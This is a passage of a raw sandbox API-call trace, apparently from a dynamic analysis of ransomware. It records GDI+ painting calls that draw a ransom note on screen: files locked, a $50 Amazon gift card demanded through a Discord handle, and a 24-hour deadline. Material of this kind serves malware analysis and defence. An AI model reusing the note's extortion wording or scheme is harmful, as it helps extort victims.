wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.281] IsWindowUnicode (hWnd=0x1016e) returned 1 [0131.281] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.281] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.281] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.281] BeginPaint (in: hWnd=0x1016e, lpPaint=0xb6ebac | out: lpPaint=0xb6ebac) returned 0x1401007f [0131.281] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.282] SelectPalette (hdc=0x1401007f, hPal=0x29080216, bForceBkgd=1) returned 0x188000b [0131.282] CreateCompatibleDC (hdc=0x1401007f) returned 0x19010210 [0131.282] DeleteObject (ho=0x605020e) returned 1 [0131.282] GetObjectType (h=0x1401007f) returned 0x3 [0131.282] CreateCompatibleBitmap (hdc=0x1401007f, cx=1, cy=1) returned 0xd05020d [0131.282] GetDIBits (in: hdc=0x1401007f, hbm=0xd05020d, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0xb6e69c, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e69c) returned 1 [0131.282] GetDIBits (in: hdc=0x1401007f, hbm=0xd05020d, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0xb6e69c, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e69c) returned 1 [0131.282] DeleteObject (ho=0xd05020d) returned 1 [0131.282] CreateDIBSection (in: hdc=0x1401007f, lpbmi=0xb6e6ec, usage=0x0, ppvBits=0xb6ebe0, hSection=0x0, offset=0x0 | out: ppvBits=0xb6ebe0) returned 0x705020e [0131.282] SelectObject (hdc=0x19010210, h=0x705020e) returned 0x185000f [0131.282] GdipCreateFromHDC (hdc=0x19010210, graphics=0xb6ebc4) returned 0x0 [0131.282] GdipTranslateWorldTransform (graphics=0x5c59bb8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.282] GdipSetClipRectI (graphics=0x5c59bb8, x=0, y=0, width=172, height=15, combineMode=0x0) returned 0x0 [0131.282] GdipCreateMatrix (matrix=0xb6ec0c) returned 0x0 [0131.282] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x5c59e98) returned 0x0 [0131.282] GdipIsMatrixIdentity (matrix=0x5c59e98, result=0xb6ec24) returned 0x0 [0131.282] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.283] GdipGetMatrixElements (matrix=0x5c59e98, matrixOut=0xe029a0) returned 0x0 [0131.283] LocalFree (hMem=0xe029a0) returned 0x0 [0131.283] GdipDeleteMatrix (matrix=0x5c59e98) returned 0x0 [0131.283] GdipCreateRegion (region=0xb6ec0c) returned 0x0 [0131.283] GdipGetClip (graphics=0x5c59bb8, region=0x5c59ec8) returned 0x0 [0131.283] GdipIsInfiniteRegion (region=0x5c59ec8, graphics=0x5c59bb8, result=0xb6ec18) returned 0x0 [0131.283] GdipSaveGraphics (graphics=0x5c59bb8, state=0xb6ec44) returned 0x0 [0131.283] GetWindowTextLengthW (hWnd=0x1016e) returned 21 [0131.283] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x15 [0131.283] GetSystemMetrics (nIndex=42) returned 0 [0131.283] GetWindowTextW (in: hWnd=0x1016e, lpString=0xb6eb34, nMaxCount=22 | out: lpString="Discord: UNNAM3D#6666") returned 21 [0131.283] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0xd, wParam=0x16, lParam=0xb6eb34) returned 0x15 [0131.283] GetClientRect (in: hWnd=0x1016e, lpRect=0xb6ec0c | out: lpRect=0xb6ec0c) returned 1 [0131.283] GdipCreateRegion (region=0xb6ea60) returned 0x0 [0131.283] GdipGetClip (graphics=0x5c59bb8, region=0x5c59f58) returned 0x0 [0131.283] GdipCreateMatrix (matrix=0xb6ea60) returned 0x0 [0131.283] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x59aea90) returned 0x0 [0131.283] GdipIsMatrixIdentity (matrix=0x59aea90, result=0xb6ea78) returned 0x0 [0131.283] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.283] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.283] LocalFree (hMem=0xe029a0) returned 0x0 [0131.283] GdipCombineRegionRegion (region=0x5c59f58, region2=0x5c59ec8, combineMode=0x1) returned 0x0 [0131.283] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.283] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.283] LocalFree (hMem=0xe029a0) returned 0x0 [0131.283] GdipDeleteMatrix (matrix=0x59aea90) returned 0x0 [0131.283] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6eaa0) returned 0x0 [0131.283] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6ea90) returned 0x0 [0131.283] GdipGetRegionHRgn (region=0x5c59f58, graphics=0x5c59bb8, hRgn=0xb6ea90) returned 0x0 [0131.283] GdipDeleteRegion (region=0x5c59f58) returned 0x0 [0131.283] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eaa8) returned 0x0 [0131.283] GetCurrentObject (hdc=0x19010210, type=0x1) returned 0x1b00017 [0131.284] GetCurrentObject (hdc=0x19010210, type=0x2) returned 0x1900010 [0131.284] GetCurrentObject (hdc=0x19010210, type=0x7) returned 0x705020e [0131.284] GetCurrentObject (hdc=0x19010210, type=0x6) returned 0x18a002e [0131.284] SaveDC (hdc=0x19010210) returned 1 [0131.284] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x18040229 [0131.284] GetClipRgn (hdc=0x19010210, hrgn=0x18040229) returned 0 [0131.284] SelectClipRgn (hdc=0x19010210, hrgn=0xe04021a) returned 2 [0131.284] DeleteObject (ho=0x18040229) returned 1 [0131.284] DeleteObject (ho=0xe04021a) returned 1 [0131.284] OffsetViewportOrgEx (in: hdc=0x19010210, x=0, y=0, lppt=0x2ae1698 | out: lppt=0x2ae1698) returned 1 [0131.284] GetNearestColor (hdc=0x19010210, color=0x0) returned 0x0 [0131.284] CreateSolidBrush (color=0x0) returned 0xd10020f [0131.284] FillRect (hDC=0x19010210, lprc=0xb6eaac, hbr=0xd10020f) returned 1 [0131.284] DeleteObject (ho=0xd10020f) returned 1 [0131.284] RestoreDC (hdc=0x19010210, nSavedDC=-1) returned 1 [0131.284] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x19010210) returned 0x0 [0131.284] GdipRestoreGraphics (graphics=0x5c59bb8, state=0xfdaf0dbd) returned 0x0 [0131.284] GdipDeleteRegion (region=0x5c59ec8) returned 0x0 [0131.284] GetWindowTextLengthW (hWnd=0x1016e) returned 21 [0131.284] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x15 [0131.284] GetSystemMetrics (nIndex=42) returned 0 [0131.284] GetWindowTextW (in: hWnd=0x1016e, lpString=0xb6eb34, nMaxCount=22 | out: lpString="Discord: UNNAM3D#6666") returned 21 [0131.284] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0xd, wParam=0x16, lParam=0xb6eb34) returned 0x15 [0131.284] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eac8) returned 0x0 [0131.284] GetCurrentObject (hdc=0x19010210, type=0x1) returned 0x1b00017 [0131.284] GetCurrentObject (hdc=0x19010210, type=0x2) returned 0x1900010 [0131.284] GetCurrentObject (hdc=0x19010210, type=0x7) returned 0x705020e [0131.284] GetCurrentObject (hdc=0x19010210, type=0x6) returned 0x18a002e [0131.284] SaveDC (hdc=0x19010210) returned 1 [0131.285] GetNearestColor (hdc=0x19010210, color=0x80) returned 0x80 [0131.285] RestoreDC (hdc=0x19010210, nSavedDC=-1) returned 1 [0131.285] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x19010210) returned 0x0 [0131.285] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.285] AdjustWindowRectEx (in: lpRect=0xb6e9ec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e9ec) returned 1 [0131.285] GdipGetTextRenderingHint (graphics=0x5c59bb8, mode=0xb6ea68) returned 0x0 [0131.285] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ea54) returned 0x0 [0131.285] GetCurrentObject (hdc=0x19010210, type=0x1) returned 0x1b00017 [0131.285] GetCurrentObject (hdc=0x19010210, type=0x2) returned 0x1900010 [0131.285] GetCurrentObject (hdc=0x19010210, type=0x7) returned 0x705020e [0131.285] GetCurrentObject (hdc=0x19010210, type=0x6) returned 0x18a002e [0131.285] SaveDC (hdc=0x19010210) returned 1 [0131.285] GetTextAlign (hdc=0x19010210) returned 0x0 [0131.285] GetTextColor (hdc=0x19010210) returned 0x0 [0131.285] SetTextColor (hdc=0x19010210, color=0x80) returned 0x0 [0131.285] GetCurrentObject (hdc=0x19010210, type=0x6) returned 0x18a002e [0131.285] GetObjectW (in: h=0x18a002e, c=92, pv=0xb6e75c | out: pv=0xb6e75c) returned 92 [0131.285] SelectObject (hdc=0x19010210, h=0x2f0a022a) returned 0x18a002e [0131.285] GetBkMode (hdc=0x19010210) returned 2 [0131.285] SetBkMode (hdc=0x19010210, mode=1) returned 2 [0131.285] DrawTextExW (in: hdc=0x19010210, lpchText="Discord: UNNAM3D#6666", cchText=21, lprc=0xb6e9e8, format=0x100000, lpdtp=0x2ae1bbc | out: lpchText="Discord: UNNAM3D#6666", lprc=0xb6e9e8) returned 15 [0131.286] RestoreDC (hdc=0x19010210, nSavedDC=-1) returned 1 [0131.286] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x19010210) returned 0x0 [0131.286] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ec04) returned 0x0 [0131.286] BitBlt (hdc=0x1401007f, x=0, y=0, cx=172, cy=15, hdcSrc=0x19010210, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.286] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x19010210) returned 0x0 [0131.286] SelectPalette (hdc=0x1401007f, hPal=0x188000b, bForceBkgd=0) returned 0x29080216 [0131.286] SelectObject (hdc=0x19010210, h=0x185000f) returned 0x705020e [0131.286] DeleteDC (hdc=0x19010210) returned 1 [0131.286] GdipDeleteGraphics (graphics=0x5c59bb8) returned 0x0 [0131.286] EndPaint (hWnd=0x1016e, lpPaint=0xb6eba8) returned 1 [0131.286] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.286] IsWindowUnicode (hWnd=0x10170) returned 1 [0131.286] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.286] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.286] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.286] BeginPaint (in: hWnd=0x10170, lpPaint=0xb6ebac | out: lpPaint=0xb6ebac) returned 0xc0107d9 [0131.286] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.287] SelectPalette (hdc=0xc0107d9, hPal=0x29080216, bForceBkgd=1) returned 0x188000b [0131.287] CreateCompatibleDC (hdc=0xc0107d9) returned 0x1c010210 [0131.287] DeleteObject (ho=0x705020e) returned 1 [0131.287] GetObjectType (h=0xc0107d9) returned 0x3 [0131.287] CreateCompatibleBitmap (hdc=0xc0107d9, cx=1, cy=1) returned 0xf05020d [0131.287] GetDIBits (in: hdc=0xc0107d9, hbm=0xf05020d, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0xb6e69c, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e69c) returned 1 [0131.287] GetDIBits (in: hdc=0xc0107d9, hbm=0xf05020d, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0xb6e69c, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e69c) returned 1 [0131.287] DeleteObject (ho=0xf05020d) returned 1 [0131.287] CreateDIBSection (in: hdc=0xc0107d9, lpbmi=0xb6e6ec, usage=0x0, ppvBits=0xb6ebe0, hSection=0x0, offset=0x0 | out: ppvBits=0xb6ebe0) returned 0x805020e [0131.287] SelectObject (hdc=0x1c010210, h=0x805020e) returned 0x185000f [0131.287] GdipCreateFromHDC (hdc=0x1c010210, graphics=0xb6ebc4) returned 0x0 [0131.287] GdipTranslateWorldTransform (graphics=0x5c59bb8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.287] GdipSetClipRectI (graphics=0x5c59bb8, x=0, y=0, width=382, height=45, combineMode=0x0) returned 0x0 [0131.287] GdipCreateMatrix (matrix=0xb6ec0c) returned 0x0 [0131.287] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x5c59e98) returned 0x0 [0131.287] GdipIsMatrixIdentity (matrix=0x5c59e98, result=0xb6ec24) returned 0x0 [0131.287] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.287] GdipGetMatrixElements (matrix=0x5c59e98, matrixOut=0xe029a0) returned 0x0 [0131.287] LocalFree (hMem=0xe029a0) returned 0x0 [0131.287] GdipDeleteMatrix (matrix=0x5c59e98) returned 0x0 [0131.287] GdipCreateRegion (region=0xb6ec0c) returned 0x0 [0131.287] GdipGetClip (graphics=0x5c59bb8, region=0x5c59ec8) returned 0x0 [0131.287] GdipIsInfiniteRegion (region=0x5c59ec8, graphics=0x5c59bb8, result=0xb6ec18) returned 0x0 [0131.288] GdipSaveGraphics (graphics=0x5c59bb8, state=0xb6ec44) returned 0x0 [0131.288] GetWindowTextLengthW (hWnd=0x10170) returned 172 [0131.288] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xac [0131.288] GetSystemMetrics (nIndex=42) returned 0 [0131.288] GetWindowTextW (in: hWnd=0x10170, lpString=0xb6ea04, nMaxCount=173 | out: lpString="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.") returned 172 [0131.288] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0xd, wParam=0xad, lParam=0xb6ea04) returned 0xac [0131.288] GetClientRect (in: hWnd=0x10170, lpRect=0xb6ec0c | out: lpRect=0xb6ec0c) returned 1 [0131.288] GdipCreateRegion (region=0xb6ea60) returned 0x0 [0131.288] GdipGetClip (graphics=0x5c59bb8, region=0x5c59f58) returned 0x0 [0131.288] GdipCreateMatrix (matrix=0xb6ea60) returned 0x0 [0131.288] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x59aea90) returned 0x0 [0131.288] GdipIsMatrixIdentity (matrix=0x59aea90, result=0xb6ea78) returned 0x0 [0131.288] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.288] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.288] LocalFree (hMem=0xe029a0) returned 0x0 [0131.288] GdipCombineRegionRegion (region=0x5c59f58, region2=0x5c59ec8, combineMode=0x1) returned 0x0 [0131.288] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.288] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.288] LocalFree (hMem=0xe029a0) returned 0x0 [0131.288] GdipDeleteMatrix (matrix=0x59aea90) returned 0x0 [0131.288] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6eaa0) returned 0x0 [0131.288] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6ea90) returned 0x0 [0131.288] GdipGetRegionHRgn (region=0x5c59f58, graphics=0x5c59bb8, hRgn=0xb6ea90) returned 0x0 [0131.288] GdipDeleteRegion (region=0x5c59f58) returned 0x0 [0131.288] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eaa8) returned 0x0 [0131.288] GetCurrentObject (hdc=0x1c010210, type=0x1) returned 0x1b00017 [0131.288] GetCurrentObject (hdc=0x1c010210, type=0x2) returned 0x1900010 [0131.288] GetCurrentObject (hdc=0x1c010210, type=0x7) returned 0x805020e [0131.288] GetCurrentObject (hdc=0x1c010210, type=0x6) returned 0x18a002e [0131.288] SaveDC (hdc=0x1c010210) returned 1 [0131.288] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xf04021a [0131.288] GetClipRgn (hdc=0x1c010210, hrgn=0xf04021a) returned 0 [0131.288] SelectClipRgn (hdc=0x1c010210, hrgn=0x1a040229) returned 2 [0131.288] DeleteObject (ho=0xf04021a) returned 1 [0131.288] DeleteObject (ho=0x1a040229) returned 1 [0131.288] OffsetViewportOrgEx (in: hdc=0x1c010210, x=0, y=0, lppt=0x2ae33ec | out: lppt=0x2ae33ec) returned 1 [0131.289] GetNearestColor (hdc=0x1c010210, color=0x0) returned 0x0 [0131.289] CreateSolidBrush (color=0x0) returned 0xe10020f [0131.289] FillRect (hDC=0x1c010210, lprc=0xb6eaac, hbr=0xe10020f) returned 1 [0131.289] DeleteObject (ho=0xe10020f) returned 1 [0131.289] RestoreDC (hdc=0x1c010210, nSavedDC=-1) returned 1 [0131.289] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x1c010210) returned 0x0 [0131.289] GdipRestoreGraphics (graphics=0x5c59bb8, state=0xfdad0dbd) returned 0x0 [0131.289] GdipDeleteRegion (region=0x5c59ec8) returned 0x0 [0131.289] GetWindowTextLengthW (hWnd=0x10170) returned 172 [0131.289] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xac [0131.289] GetSystemMetrics (nIndex=42) returned 0 [0131.289] GetWindowTextW (in: hWnd=0x10170, lpString=0xb6ea04, nMaxCount=173 | out: lpString="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.") returned 172 [0131.289] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0xd, wParam=0xad, lParam=0xb6ea04) returned 0xac [0131.289] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eac8) returned 0x0 [0131.289] GetCurrentObject (hdc=0x1c010210, type=0x1) returned 0x1b00017 [0131.289] GetCurrentObject (hdc=0x1c010210, type=0x2) returned 0x1900010 [0131.289] GetCurrentObject (hdc=0x1c010210, type=0x7) returned 0x805020e [0131.289] GetCurrentObject (hdc=0x1c010210, type=0x6) returned 0x18a002e [0131.289] SaveDC (hdc=0x1c010210) returned 1 [0131.289] GetNearestColor (hdc=0x1c010210, color=0x80) returned 0x80 [0131.289] RestoreDC (hdc=0x1c010210, nSavedDC=-1) returned 1 [0131.289] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x1c010210) returned 0x0 [0131.290] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.290] AdjustWindowRectEx (in: lpRect=0xb6e9ec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e9ec) returned 1 [0131.290] GdipGetTextRenderingHint (graphics=0x5c59bb8, mode=0xb6ea68) returned 0x0 [0131.290] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ea54) returned 0x0 [0131.290] GetCurrentObject (hdc=0x1c010210, type=0x1) returned 0x1b00017 [0131.290] GetCurrentObject (hdc=0x1c010210, type=0x2) returned 0x1900010 [0131.290] GetCurrentObject (hdc=0x1c010210, type=0x7) returned 0x805020e [0131.290] GetCurrentObject (hdc=0x1c010210, type=0x6) returned 0x18a002e [0131.290] SaveDC (hdc=0x1c010210) returned 1 [0131.290] GetTextAlign (hdc=0x1c010210) returned 0x0 [0131.290] GetTextColor (hdc=0x1c010210) returned 0x0 [0131.290] SetTextColor (hdc=0x1c010210, color=0x80) returned 0x0 [0131.290] GetCurrentObject (hdc=0x1c010210, type=0x6) returned 0x18a002e [0131.290] GetObjectW (in: h=0x18a002e, c=92, pv=0xb6e75c | out: pv=0xb6e75c) returned 92 [0131.290] SelectObject (hdc=0x1c010210, h=0x2f0a022a) returned 0x18a002e [0131.290] GetBkMode (hdc=0x1c010210) returned 2 [0131.290] SetBkMode (hdc=0x1c010210, mode=1) returned 2 [0131.290] DrawTextExW (in: hdc=0x1c010210, lpchText="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.", cchText=172, lprc=0xb6e9e8, format=0x100000, lpdtp=0x2ae3ca0 | out: lpchText="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.", lprc=0xb6e9e8) returned 45 [0131.291] RestoreDC (hdc=0x1c010210, nSavedDC=-1) returned 1 [0131.291] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x1c010210) returned 0x0 [0131.291] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ec04) returned 0x0 [0131.291] BitBlt (hdc=0xc0107d9, x=0, y=0, cx=382, cy=45, hdcSrc=0x1c010210, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.291] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x1c010210) returned 0x0 [0131.291] SelectPalette (hdc=0xc0107d9, hPal=0x188000b, bForceBkgd=0) returned 0x29080216 [0131.292] SelectObject (hdc=0x1c010210, h=0x185000f) returned 0x805020e [0131.292] DeleteDC (hdc=0x1c010210) returned 1 [0131.292] GdipDeleteGraphics (graphics=0x5c59bb8) returned 0x0 [0131.292] EndPaint (hWnd=0x10170, lpPaint=0xb6eba8) returned 1 [0131.292] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.292] IsWindowUnicode (hWnd=0x10172) returned 1 [0131.292] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.292] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.292] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.292] BeginPaint (in: hWnd=0x10172, lpPaint=0xb6ebac | out: lpPaint=0xb6ebac) returned 0x100101b7 [0131.292] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.292] SelectPalette (hdc=0x100101b7, hPal=0x29080216, bForceBkgd=1) returned 0x188000b [0131.292] CreateCompatibleDC (hdc=0x100101b7) returned 0x1f010210 [0131.292] GetObjectType (h=0x100101b7) returned 0x3 [0131.292] CreateCompatibleBitmap (hdc=0x100101b7, cx=1, cy=1) returned 0x1c05020b [0131.292] GetDIBits (in: hdc=0x100101b7, hbm=0x1c05020b, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0xb6e65c, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e65c) returned 1 [0131.292] GetDIBits (in: hdc=0x100101b7, hbm=0x1c05020b, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0xb6e65c, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e65c) returned 1 [0131.292] DeleteObject (ho=0x1c05020b) returned 1 [0131.292] CreateDIBSection (in: hdc=0x100101b7, lpbmi=0xb6e6ac, usage=0x0, ppvBits=0xb6eba0, hSection=0x0, offset=0x0 | out: ppvBits=0xb6eba0) returned 0x305020c [0131.292] SelectObject (hdc=0x1f010210, h=0x305020c) returned 0x185000f [0131.292] GdipCreateFromHDC (hdc=0x1f010210, graphics=0xb6eb84) returned 0x0 [0131.293] GdipTranslateWorldTransform (graphics=0x5c59bb8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.293] GdipSetClipRectI (graphics=0x5c59bb8, x=0, y=0, width=435, height=60, combineMode=0x0) returned 0x0 [0131.293] GdipCreateMatrix (matrix=0xb6ec0c) returned 0x0 [0131.293] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x5c59e98) returned 0x0 [0131.293] GdipIsMatrixIdentity (matrix=0x5c59e98, result=0xb6ec24) returned 0x0 [0131.293] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.293] GdipGetMatrixElements (matrix=0x5c59e98, matrixOut=0xe029a0) returned 0x0 [0131.293] LocalFree (hMem=0xe029a0) returned 0x0 [0131.293] GdipDeleteMatrix (matrix=0x5c59e98) returned 0x0 [0131.293] GdipCreateRegion (region=0xb6ec0c) returned 0x0 [0131.293] GdipGetClip (graphics=0x5c59bb8, region=0x5c59ec8) returned 0x0 [0131.293] GdipIsInfiniteRegion (region=0x5c59ec8, graphics=0x5c59bb8, result=0xb6ec18) returned 0x0 [0131.293] GdipSaveGraphics (graphics=0x5c59bb8, state=0xb6ec44) returned 0x0 [0131.293] GetWindowTextLengthW (hWnd=0x10172) returned 214 [0131.293] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd6 [0131.293] GetSystemMetrics (nIndex=42) returned 0 [0131.293] GetWindowTextW (in: hWnd=0x10172, lpString=0xb6e9b0, nMaxCount=215 | out: lpString="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n") returned 214 [0131.293] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0xd, wParam=0xd7, lParam=0xb6e9b0) returned 0xd6 [0131.293] GetClientRect (in: hWnd=0x10172, lpRect=0xb6ec0c | out: lpRect=0xb6ec0c) returned 1 [0131.293] GdipCreateRegion (region=0xb6ea60) returned 0x0 [0131.293] GdipGetClip (graphics=0x5c59bb8, region=0x5c59f58) returned 0x0 [0131.293] GdipCreateMatrix (matrix=0xb6ea60) returned 0x0 [0131.293] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x59aea90) returned 0x0 [0131.293] GdipIsMatrixIdentity (matrix=0x59aea90, result=0xb6ea78) returned 0x0 [0131.293] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.293] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.293] LocalFree (hMem=0xe029a0) returned 0x0 [0131.293] GdipCombineRegionRegion (region=0x5c59f58, region2=0x5c59ec8, combineMode=0x1) returned 0x0 [0131.293] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.293] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.293] LocalFree (hMem=0xe029a0) returned 0x0 [0131.293] GdipDeleteMatrix (matrix=0x59aea90) returned 0x0 [0131.293] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6eaa0) returned 0x0 [0131.294] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6ea90) returned 0x0 [0131.294] GdipGetRegionHRgn (region=0x5c59f58, graphics=0x5c59bb8, hRgn=0xb6ea90) returned 0x0 [0131.294] GdipDeleteRegion (region=0x5c59f58) returned 0x0 [0131.294] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eaa8) returned 0x0 [0131.294] GetCurrentObject (hdc=0x1f010210, type=0x1) returned 0x1b00017 [0131.294] GetCurrentObject (hdc=0x1f010210, type=0x2) returned 0x1900010 [0131.294] GetCurrentObject (hdc=0x1f010210, type=0x7) returned 0x305020c [0131.294] GetCurrentObject (hdc=0x1f010210, type=0x6) returned 0x18a002e [0131.294] SaveDC (hdc=0x1f010210) returned 1 [0131.294] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1b040229 [0131.294] GetClipRgn (hdc=0x1f010210, hrgn=0x1b040229) returned 0 [0131.294] SelectClipRgn (hdc=0x1f010210, hrgn=0x1104021a) returned 2 [0131.294] DeleteObject (ho=0x1b040229) returned 1 [0131.294] DeleteObject (ho=0x1104021a) returned 1 [0131.294] OffsetViewportOrgEx (in: hdc=0x1f010210, x=0, y=0, lppt=0x2ae5610 | out: lppt=0x2ae5610) returned 1 [0131.294] GetNearestColor (hdc=0x1f010210, color=0x0) returned 0x0 [0131.294] CreateSolidBrush (color=0x0) returned 0xf10020f [0131.294] FillRect (hDC=0x1f010210, lprc=0xb6eaac, hbr=0xf10020f) returned 1 [0131.295] DeleteObject (ho=0xf10020f) returned 1 [0131.295] RestoreDC (hdc=0x1f010210, nSavedDC=-1) returned 1 [0131.295] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x1f010210) returned 0x0 [0131.295] GdipRestoreGraphics (graphics=0x5c59bb8, state=0xfdab0dbd) returned 0x0 [0131.295] GdipDeleteRegion (region=0x5c59ec8) returned 0x0 [0131.295] GetWindowTextLengthW (hWnd=0x10172) returned 214 [0131.295] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd6 [0131.295] 